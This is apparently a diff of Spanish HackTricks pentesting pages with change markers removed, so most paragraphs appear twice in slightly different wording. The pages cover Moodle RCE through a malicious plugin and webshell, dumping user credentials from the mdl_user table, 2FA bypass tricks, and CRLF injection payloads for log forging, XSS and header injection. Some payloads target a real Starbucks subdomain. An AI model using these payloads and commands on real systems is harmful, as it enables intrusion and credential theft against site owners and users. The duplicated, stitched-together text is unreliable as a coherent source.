#### Características principales de CMSMap:
```
cmsmap.py -t <URL>
```
- Escaneo de CMS: CMSMap puede escanear un sitio web en busca de CMS populares como WordPress, Joomla, Drupal, etc. Esto ayuda a los pentesters a identificar rápidamente el CMS utilizado por el sitio web objetivo.
Donde `<URL>` es la URL del sitio web que desea escanear. CMSMap también tiene varias opciones adicionales que se pueden utilizar para personalizar el escaneo.
- Enumeración de usuarios: CMSMap puede enumerar los usuarios registrados en un sitio web basado en CMS. Esto puede ser útil para identificar posibles nombres de usuario válidos para ataques de fuerza bruta o intentos de inicio de sesión.
- Enumeración de plugins y temas: CMSMap puede enumerar los plugins y temas instalados en un sitio web basado en CMS. Esto proporciona información valiosa sobre las versiones de los plugins y temas, lo que puede ayudar a identificar vulnerabilidades conocidas.
- Enumeración de directorios: CMSMap puede enumerar los directorios y archivos presentes en un sitio web. Esto puede ayudar a los pentesters a identificar posibles puntos de entrada para ataques de inyección de código o acceso no autorizado.
- Escaneo de vulnerabilidades: CMSMap puede escanear un sitio web en busca de vulnerabilidades conocidas asociadas con el CMS utilizado. Esto ayuda a los pentesters a identificar posibles puntos débiles en el sitio web objetivo.
CMSMap es una herramienta poderosa que puede ahorrar tiempo y esfuerzo durante las pruebas de penetración de sitios web basados en CMS. Sin embargo, es importante utilizar esta herramienta de manera ética y obtener el permiso adecuado antes de realizar cualquier escaneo o prueba de penetración.
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
```
### CVEs
Encontré que las herramientas automáticas son bastante **inútiles para encontrar vulnerabilidades que afecten a la versión de Moodle**. Puedes **verificar** si existen en [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
Encontré que las herramientas automáticas son bastante **inútiles para encontrar vulnerabilidades que afecten a la versión de Moodle**. Puedes **verificar** esto en [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
## **RCE**
Necesitas tener el rol de **manager** y **puedes instalar plugins** dentro de la pestaña de **"Administración del sitio"**:
Necesitas tener el rol de **gerente** y **puedes instalar complementos** dentro de la pestaña de **"Administración del sitio"**:
![](<../../.gitbook/assets/image (447).png>)
Si eres manager, es posible que aún necesites **activar esta opción**. Puedes ver cómo hacerlo en el PoC de escalada de privilegios de Moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Si eres gerente, es posible que aún necesites **activar esta opción**. Puedes ver cómo hacerlo en la prueba de concepto de escalada de privilegios de Moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Luego, puedes **instalar el siguiente plugin** que contiene el clásico shell reverso php de pentest-monkey (_antes de subirlo, necesitas descomprimirlo, cambiar la IP y el puerto del revshell y comprimirlo de nuevo_)
Luego, puedes **instalar el siguiente complemento** que contiene el clásico shell reverso en PHP de pentest-monkey (_antes de subirlo, debes descomprimirlo, cambiar la IP y el puerto del revshell y comprimirlo nuevamente_)
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
O puedes usar el plugin de [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) para obtener un shell PHP regular con el parámetro "cmd".
O puedes usar el complemento de [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) para obtener un shell PHP regular con el parámetro "cmd".
Para acceder y lanzar el plugin malicioso, necesitas acceder a:
Para acceder y lanzar el complemento malicioso, debes acceder a:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
@ -122,13 +130,33 @@ http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
### Volcado de credenciales desde la base de datos
### Volcar credenciales de la base de datos
Para realizar una prueba de penetración en un sitio web Moodle, es posible que desees extraer las credenciales de la base de datos. Esto te permitirá obtener información de inicio de sesión de los usuarios y potencialmente acceder a sus cuentas.
Aquí hay algunos pasos que puedes seguir para volcar las credenciales de la base de datos:
1. Identifica el tipo de base de datos utilizada por Moodle. Puede ser MySQL, PostgreSQL u otro sistema de gestión de bases de datos.
2. Utiliza herramientas como `phpMyAdmin` o `pgAdmin` para acceder a la base de datos. Estas herramientas te permitirán ejecutar consultas SQL y extraer datos de la base de datos.
3. Ejecuta una consulta SQL para extraer las credenciales de la tabla de usuarios. Por ejemplo, en MySQL, puedes usar la siguiente consulta:
```sql
SELECT username, password FROM mdl_user;
```
Esta consulta seleccionará los nombres de usuario y las contraseñas de la tabla `mdl_user`. Asegúrate de ajustar el nombre de la tabla según la configuración de tu base de datos.
4. Guarda los resultados de la consulta en un archivo seguro. Puedes utilizar comandos como `SELECT ... INTO OUTFILE` en MySQL para guardar los resultados en un archivo CSV o TXT.
Recuerda que realizar pruebas de penetración en un sitio web sin permiso explícito es ilegal y puede tener consecuencias legales graves. Siempre asegúrate de obtener el consentimiento del propietario del sitio web antes de realizar cualquier prueba de penetración.
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible, ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto hablado como escrito_).
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable, ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -139,7 +167,7 @@ Si estás interesado en una **carrera de hacking** y en hackear lo imposible, ¡
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -16,7 +16,7 @@
### **Bypass directo**
Para saltarse la autenticación de dos factores, simplemente **intenta acceder directamente al siguiente punto final** (necesitas conocer la ruta del siguiente punto final). Si esto no funciona, intenta cambiar el **encabezado Referrer** como si vinieras de la página de autenticación de dos factores.
Para saltarse el 2FA, simplemente **intenta acceder directamente al siguiente punto final** (necesitas conocer la ruta del siguiente punto final). Si esto no funciona, intenta cambiar el **encabezado Referrer** como si vinieras de la página de 2FA.
### **Reutilización de token**
@ -24,7 +24,7 @@ Tal vez puedas reutilizar un token previamente utilizado dentro de la cuenta par
### Compartir tokens no utilizados
Verifica si puedes obtener el token de tu cuenta y trata de usarlo para saltarte la autenticación de dos factores en una cuenta diferente.
Verifica si puedes obtener el token de tu cuenta y trata de usarlo para saltarte el 2FA en una cuenta diferente.
### Token filtrado
@ -32,16 +32,16 @@ Verifica si puedes obtener el token de tu cuenta y trata de usarlo para saltarte
### Enlace de verificación de correo electrónico
Intenta usar el **enlace de verificación de correo electrónico recibido cuando se creó la cuenta** para ver si, incluso si se configuró la autenticación de dos factores, aún puedes acceder a tu perfil solo con ese enlace ([publicación](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)).
Intenta usar el **enlace de verificación de correo electrónico recibido cuando se creó la cuenta** para ver si, incluso si se configuró el 2FA, aún puedes acceder a tu perfil solo con ese enlace ([publicación](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)).
### Permiso de sesión
Usando la misma sesión, inicia el flujo utilizando tu cuenta y la cuenta de la víctima. Cuando llegues al punto de autenticación de dos factores en ambas cuentas, completa la autenticación de dos factores con tu cuenta pero no accedas a la siguiente parte. En lugar de eso, intenta acceder al siguiente paso con el flujo de la cuenta de la víctima. Si el backend solo establece un booleano dentro de tus sesiones que indique que has pasado la autenticación de dos factores con éxito, podrás saltarte la autenticación de dos factores de la víctima.
Usando la misma sesión, inicia el flujo utilizando tu cuenta y la cuenta de la víctima. Cuando llegues al punto de 2FA en ambas cuentas, completa el 2FA con tu cuenta pero no accedas a la siguiente parte. En lugar de eso, intenta acceder al siguiente paso con el flujo de la cuenta de la víctima. Si el backend solo establece un booleano dentro de tus sesiones diciendo que has pasado el 2FA con éxito, podrás saltarte el 2FA de la víctima.
### Función de restablecimiento de contraseña
En casi todas las aplicaciones web, la función de restablecimiento de contraseña **inicia sesión automáticamente al usuario en la aplicación** después de que se complete el procedimiento de restablecimiento.\
Verifica si se envía un **correo electrónico** con un **enlace** para **restablecer la contraseña** y si puedes **reutilizar** ese **enlace** para restablecer la contraseña tantas veces como desees (incluso si la víctima cambia su dirección de correo electrónico).
En casi todas las aplicaciones web, la **función de restablecimiento de contraseña inicia sesión automáticamente** al completar el procedimiento de restablecimiento.\
Verifica si se envía un **correo** con un **enlace** para **restablecer la contraseña** y si puedes **reutilizar** ese **enlace** para restablecer la contraseña tantas veces como desees (incluso si la víctima cambia su dirección de correo electrónico).
### OAuth
@ -55,7 +55,7 @@ Si puedes comprometer la cuenta del usuario en una plataforma de **OAuth** confi
#### Límite de flujo pero sin límite de velocidad
En este caso, hay un límite de flujo (tienes que hacer fuerza bruta muy lentamente: 1 hilo y algo de espera antes de 2 intentos) pero no hay límite de velocidad. Entonces, con suficiente tiempo, podrás encontrar el código válido.
En este caso, hay un límite de flujo (tienes que hacer fuerza bruta muy lentamente: 1 hilo y algo de espera antes de 2 intentos) pero no hay límite de velocidad. Entonces, con suficiente tiempo, puedes encontrar el código válido.
#### Reenviar el código y restablecer el límite
@ -69,38 +69,46 @@ Hay un límite de velocidad, pero cuando "reenvías el código", se envía el mi
#### Falta de límite de velocidad en la cuenta del usuario
A veces puedes configurar la autenticación de dos factores para algunas acciones dentro de tu cuenta (cambiar correo electrónico, contraseña...). Sin embargo, incluso en los casos en que hay un límite de velocidad cuando intentas iniciar sesión, no hay ningún límite de velocidad para proteger las acciones dentro de la cuenta.
A veces puedes configurar el 2FA para algunas acciones dentro de tu cuenta (cambiar correo electrónico, contraseña...). Sin embargo, incluso en los casos en que hay un límite de velocidad cuando intentaste iniciar sesión, no hay ningún límite de velocidad para proteger las acciones dentro de la cuenta.
#### Falta de límite de velocidad al reenviar el código por SMS
No podrás saltarte la autenticación de dos factores, pero podrás hacer que la empresa gaste dinero.
No podrás saltarte el 2FA, pero podrás hacer que la empresa gaste dinero.
#### Regeneración infinita de OTP
Si puedes **generar un nuevo OTP infinitas veces**, el OTP es lo suficientemente **simple** (4 números) y puedes probar hasta 4 o 5 tokens por OTP generado, simplemente prueba los mismos 4 o 5 tokens cada vez y genera OTP hasta que coincida con los que estás usando.
### Condición de carrera
Consulta la sección sobre el bypass de 2FA en la siguiente página:
{% content-ref url="race-condition.md" %}
[race-condition.md](race-condition.md)
{% endcontent-ref %}
### CSRF/Clickjacking
Verifica si hay una vulnerabilidad de Cross Site Request Forgery (CSRF) o Clickjacking para desactivar la autenticación de dos factores.
### Funcionalidad de "Recuérdame"
Verifica si hay una vulnerabilidad de Cross Site Request Forgery (CSRF) o Clickjacking para desactivar el 2FA.
### Funcionalidad de recordarme
#### Cookie adivinable
Si la funcionalidad de "recuérdame" utiliza una nueva cookie con un código adivinable, intenta adivinarlo.
Si la funcionalidad de "recordarme" utiliza una nueva cookie con un código adivinable, intenta adivinarlo.
#### Dirección IP
Si la funcionalidad de "recuérdame" está vinculada a tu dirección IP, puedes intentar averiguar la dirección IP de la víctima e impersonarla utilizando el encabezado **X-Forwarded-For**.
Si la funcionalidad de "recordarme" está vinculada a tu dirección IP, puedes intentar averiguar la dirección IP de la víctima e impersonarla utilizando el encabezado **X-Forwarded-For**.
### Versiones antiguas
#### Subdominios
Si encuentras subdominios de "pruebas" con funcionalidad de inicio de sesión, es posible que estén utilizando versiones antiguas que no admiten la autenticación de dos factores (por lo que se puede omitir directamente) o que esos puntos finales admitan una versión vulnerable de la autenticación de dos factores.
Si puedes encontrar algunos subdominios de "pruebas" con la funcionalidad de inicio de sesión, es posible que estén utilizando versiones antiguas que no admiten la autenticación de dos factores (por lo que se omite directamente) o esos puntos finales podrían admitir una versión vulnerable de la autenticación de dos factores.
#### APIs
Si descubres que la autenticación de dos factores utiliza una API ubicada en un directorio /v\* (como "/v3/"), esto probablemente significa que existen puntos finales de API antiguos que podrían ser vulnerables a algún tipo de omisión de la autenticación de dos factores.
Si descubres que la autenticación de dos factores utiliza una API ubicada en un directorio /v\* (como "/v3/"), esto probablemente significa que hay puntos finales de API antiguos que podrían ser vulnerables a algún tipo de omisión de la autenticación de dos factores.
### Sesiones anteriores
@ -108,7 +116,7 @@ Cuando se habilita la autenticación de dos factores, las sesiones anteriores cr
### Control de acceso inadecuado a códigos de respaldo
Los códigos de respaldo se generan inmediatamente después de habilitar la autenticación de dos factores y están disponibles en una sola solicitud. Después de cada llamada subsiguiente a la solicitud, los códigos pueden regenerarse o permanecer sin cambios (códigos estáticos). Si existen configuraciones incorrectas de CORS/vulnerabilidades XSS y otros errores que permiten "extraer" los códigos de respaldo de la respuesta de la solicitud del punto final del código de respaldo, entonces el atacante podría robar los códigos y omitir la autenticación de dos factores si se conocen el nombre de usuario y la contraseña.
Los códigos de respaldo se generan inmediatamente después de habilitar la autenticación de dos factores y están disponibles en una sola solicitud. Después de cada llamada subsiguiente a la solicitud, los códigos pueden regenerarse o permanecer sin cambios (códigos estáticos). Si existen configuraciones incorrectas de CORS/vulnerabilidades de XSS y otros errores que permiten "extraer" los códigos de respaldo de la solicitud de respuesta del punto final del código de respaldo, entonces el atacante podría robar los códigos y omitir la autenticación de dos factores si se conocen el nombre de usuario y la contraseña.
### Divulgación de información
@ -118,9 +126,9 @@ Si notas que aparece información confidencial en la página de autenticación d
1. Crea una cuenta y activa la autenticación de dos factores.
2. Cierra sesión en esa cuenta.
3. Ahora, ve a la página de restablecimiento de contraseña.
3. Ahora, ve a la página de restablecimiento de contraseña olvidada.
4. Cambia tu contraseña.
5. Intenta iniciar sesión ahora.
5. Ahora intenta iniciar sesión.
6. Si no se te solicita ingresar un código de autenticación de dos factores, puedes informarlo.
## Referencias
@ -135,7 +143,7 @@ Si notas que aparece información confidencial en la página de autenticación d
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View File

@ -1,4 +1,4 @@
# Inyección CRLF (%0D%0A)
# Inyección de CRLF (%0D%0A)
<details>
@ -6,36 +6,36 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡estamos contratando! (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible, ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## ¿Qué es CRLF?
Cuando un navegador envía una solicitud a un servidor web, el servidor web responde con una respuesta que contiene tanto los encabezados de respuesta HTTP como el contenido real del sitio web, es decir, el cuerpo de la respuesta. Los encabezados HTTP y la respuesta HTML (el contenido del sitio web) están separados por una combinación específica de caracteres especiales, a saber, un retorno de carro y un avance de línea. En resumen, también se conocen como CRLF.
Cuando un navegador envía una solicitud a un servidor web, el servidor web responde con una respuesta que contiene tanto las cabeceras de respuesta HTTP como el contenido real del sitio web, es decir, el cuerpo de la respuesta. Las cabeceras HTTP y la respuesta HTML (el contenido del sitio web) están separados por una combinación específica de caracteres especiales, a saber, un retorno de carro y un avance de línea. En resumen, también se conocen como CRLF.
El servidor web utiliza el CRLF para entender cuándo comienza un nuevo encabezado HTTP y cuándo termina otro. El CRLF también puede indicar a una aplicación web o a un usuario que comienza una nueva línea en un archivo o en un bloque de texto. Los caracteres CRLF son un mensaje estándar HTTP/1.1, por lo que se utilizan en cualquier tipo de servidor web, incluidos Apache, Microsoft IIS y todos los demás.\
El servidor web utiliza el CRLF para entender cuándo comienza una nueva cabecera HTTP y cuándo termina otra. El CRLF también puede indicar a una aplicación web o a un usuario que comienza una nueva línea en un archivo o en un bloque de texto. Los caracteres CRLF son un mensaje estándar HTTP/1.1, por lo que se utilizan en cualquier tipo de servidor web, incluyendo Apache, Microsoft IIS y todos los demás.\
De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### ¿Qué es la vulnerabilidad de inyección CRLF?
### ¿Qué es la Vulnerabilidad de Inyección de CRLF?
En un ataque de vulnerabilidad de inyección CRLF, el atacante inserta tanto los caracteres de retorno de carro como de avance de línea en la entrada del usuario para engañar al servidor, la aplicación web o al usuario para que piense que se ha terminado un objeto y que ha comenzado otro. Como tales, las secuencias CRLF no son caracteres maliciosos, sin embargo, pueden ser utilizados con intenciones maliciosas, para la división de respuestas HTTP, etc.
En un ataque de vulnerabilidad de inyección de CRLF, el atacante inserta tanto el retorno de carro como los caracteres de avance de línea en la entrada del usuario para engañar al servidor, a la aplicación web o al usuario haciéndoles creer que se ha terminado un objeto y que ha comenzado otro. Por lo tanto, las secuencias de CRLF no son caracteres maliciosos, sin embargo, pueden ser utilizados con intenciones maliciosas, para la división de respuestas HTTP, etc.
## Inyección CRLF en aplicaciones web
## Inyección de CRLF en aplicaciones web
En las aplicaciones web, una inyección CRLF puede tener impactos graves, dependiendo de lo que la aplicación haga con los elementos individuales. Los impactos pueden variar desde la divulgación de información hasta la ejecución de código, una vulnerabilidad de seguridad de la aplicación web de impacto directo. De hecho, un ataque de inyección CRLF puede tener repercusiones muy graves en una aplicación web, aunque nunca se haya incluido en la lista OWASP Top 10. Por ejemplo, también es posible manipular archivos de registro en un panel de administración, como se explica en el siguiente ejemplo.
En las aplicaciones web, una inyección de CRLF puede tener impactos graves, dependiendo de lo que la aplicación haga con los elementos individuales. Los impactos pueden variar desde la divulgación de información hasta la ejecución de código, una vulnerabilidad de seguridad directa en la aplicación web. De hecho, un ataque de inyección de CRLF puede tener repercusiones muy graves en una aplicación web, aunque nunca se haya incluido en la lista OWASP Top 10. Por ejemplo, también es posible manipular archivos de registro en un panel de administración, como se explica en el siguiente ejemplo.
#### Un ejemplo de inyección CRLF en un archivo de registro
#### Un ejemplo de Inyección de CRLF en un archivo de registro
Imagina un archivo de registro en un panel de administración con el patrón de flujo de salida de IP - Hora - Ruta visitada, como el siguiente:
Imagina un archivo de registro en un panel de administración con el patrón de flujo de salida de IP - Hora - Ruta visitada, como se muestra a continuación:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
@ -43,40 +43,40 @@ Si un atacante es capaz de inyectar los caracteres CRLF en la solicitud HTTP, pu
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
El %0d y %0a son las formas codificadas en URL de CR y LF. Por lo tanto, las entradas de registro se verían así después de que el atacante insertara esos caracteres y la aplicación los mostrara:
El %0d y %0a son las formas codificadas en URL de CR y LF. Por lo tanto, las entradas de registro se verían así después de que el atacante insertara esos caracteres y la aplicación los muestra:
IP - Hora - Ruta visitada
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Por lo tanto, al explotar una vulnerabilidad de inyección CRLF, el atacante puede falsificar entradas en el archivo de registro para ocultar sus propias acciones maliciosas. El atacante está literalmente secuestrando la página y modificando la respuesta. Por ejemplo, imagina un escenario en el que el atacante tiene la contraseña de administrador y ejecuta el parámetro de acción restringida, que solo puede ser utilizado por un administrador.
Por lo tanto, al explotar una vulnerabilidad de inyección CRLF, el atacante puede falsificar entradas en el archivo de registro para ocultar sus propias acciones maliciosas. El atacante está literalmente secuestrando la página y modificando la respuesta. Por ejemplo, imagina un escenario en el que el atacante tiene la contraseña de administrador y ejecuta el parámetro restrictedaction, que solo puede ser utilizado por un administrador.
El problema es que si el administrador nota que una dirección IP desconocida utilizó el parámetro de acción restringida, notará que algo está mal. Sin embargo, como ahora parece que el comando fue emitido por el localhost (y por lo tanto probablemente por alguien que tiene acceso al servidor, como un administrador), no parece sospechoso.
El problema es que si el administrador se da cuenta de que una IP desconocida utilizó el parámetro restrictedaction, notará que algo está mal. Sin embargo, como ahora parece que el comando fue emitido por el localhost (y, por lo tanto, probablemente por alguien que tiene acceso al servidor, como un administrador), no parece sospechoso.
Toda la parte de la consulta que comienza con %0d%0a será manejada por el servidor como un solo parámetro. Después de eso, hay otro & con el parámetro de acción restringida que será analizado por el servidor como otro parámetro. Efectivamente, esta sería la misma consulta que:
Toda la parte de la consulta que comienza con %0d%0a será tratada por el servidor como un parámetro. Después de eso, hay otro & con el parámetro restrictedaction que será analizado por el servidor como otro parámetro. Efectivamente, esta sería la misma consulta que:
```
/index.php?page=home&restrictedaction=edit
```
### División de Respuesta HTTP
### HTTP Response Splitting
#### Descripción
Dado que el encabezado de una respuesta HTTP y su cuerpo están separados por caracteres CRLF, un atacante puede intentar inyectarlos. Una combinación de CRLFCRLF indicará al navegador que el encabezado termina y el cuerpo comienza. Eso significa que ahora puede escribir datos dentro del cuerpo de respuesta donde se almacena el código HTML. Esto puede llevar a una vulnerabilidad de Cross-site Scripting.
Dado que el encabezado de una respuesta HTTP y su cuerpo están separados por caracteres CRLF, un atacante puede intentar inyectarlos. Una combinación de CRLFCRLF indicará al navegador que el encabezado termina y el cuerpo comienza. Esto significa que ahora puede escribir datos dentro del cuerpo de la respuesta donde se almacena el código HTML. Esto puede llevar a una vulnerabilidad de Cross-site Scripting.
#### Un ejemplo de División de Respuesta HTTP que lleva a XSS
#### Un ejemplo de HTTP Response Splitting que lleva a XSS
Imagina una aplicación que establece un encabezado personalizado, por ejemplo:
```
X-Your-Name: Bob
```
El valor del encabezado se establece a través de un parámetro get llamado "name". Si no hay codificación de URL en su lugar y el valor se refleja directamente dentro del encabezado, podría ser posible para un atacante insertar la combinación mencionada anteriormente de CRLFCRLF para indicar al navegador que comienza el cuerpo de la solicitud. De esa manera, es capaz de insertar datos como carga útil XSS, por ejemplo:
El valor del encabezado se establece a través de un parámetro GET llamado "name". Si no se realiza ninguna codificación de URL y el valor se refleja directamente dentro del encabezado, es posible que un atacante pueda insertar la combinación mencionada anteriormente de CRLFCRLF para indicar al navegador que comienza el cuerpo de la solicitud. De esta manera, puede insertar datos como una carga útil XSS, por ejemplo:
```
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
```
El anterior código mostrará una ventana de alerta en el contexto del dominio atacado.
El código anterior mostrará una ventana de alerta en el contexto del dominio atacado.
#### Un ejemplo de HTTP Response Splitting que lleva a una redirección
#### Un ejemplo de HTTP Response Splitting que conduce a una redirección
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
@ -84,7 +84,7 @@ Navegador a:
```
/%0d%0aLocation:%20http://myweb.com
```
Y el servidor responde con la cabecera:
Y el servidor responde con el encabezado:
```
Location: http://myweb.com
```
@ -99,62 +99,64 @@ Puedes enviar la carga útil **dentro de la ruta URL** para controlar la **respu
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
### Inyección de cabecera HTTP
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### Inyección de encabezado HTTP
#### Descripción
Al explotar una inyección CRLF, un atacante también puede insertar cabeceras HTTP que podrían usarse para derrotar mecanismos de seguridad como el filtro XSS del navegador o la política de mismo origen. Esto permite al atacante obtener información sensible como tokens CSRF. También puede establecer cookies que podrían ser explotadas al iniciar sesión en la cuenta del atacante o al explotar vulnerabilidades de scripting entre sitios (XSS) de otra manera no explotables.
Al explotar una inyección CRLF, un atacante también puede insertar encabezados HTTP que podrían usarse para derrotar mecanismos de seguridad como el filtro XSS de un navegador o la misma política de origen. Esto permite al atacante obtener información sensible como tokens CSRF. También puede establecer cookies que podrían ser explotadas al iniciar sesión en la cuenta del atacante o al explotar vulnerabilidades de scripting entre sitios (XSS) que de otra manera no se podrían explotar.
#### Un ejemplo de inyección de cabecera HTTP para extraer datos sensibles
#### Un ejemplo de inyección de encabezado HTTP para extraer datos sensibles
Si un atacante puede inyectar las cabeceras HTTP que activan CORS (Compartición de recursos de origen cruzado), puede usar JavaScript para acceder a recursos que de otra manera estarían protegidos por SOP (Política de mismo origen), que impide que los sitios de diferentes orígenes se accedan entre sí.
Si un atacante puede inyectar los encabezados HTTP que activan CORS (Compartir recursos de origen cruzado), puede usar JavaScript para acceder a recursos que están protegidos por SOP (Política de origen mismo), que evita que los sitios de diferentes orígenes se accedan entre sí.
### Nueva solicitud HTTP en SSRF
Al abusar de la inyección CRLF, se puede **crear una nueva solicitud HTTP e inyectarla**.\
Un buen ejemplo se puede hacer usando el gadget de deserialización `SoapClient` en PHP. Esta clase es **vulnerable a CRLF** dentro del parámetro `user_agent`, lo que permite **insertar nuevas cabeceras y contenido del cuerpo**. Sin embargo, incluso se puede abusar de esta vulnerabilidad para **inyectar una nueva solicitud HTTP:**
Al abusar de la inyección CRLF, puedes **crear una nueva solicitud HTTP e inyectarla**.\
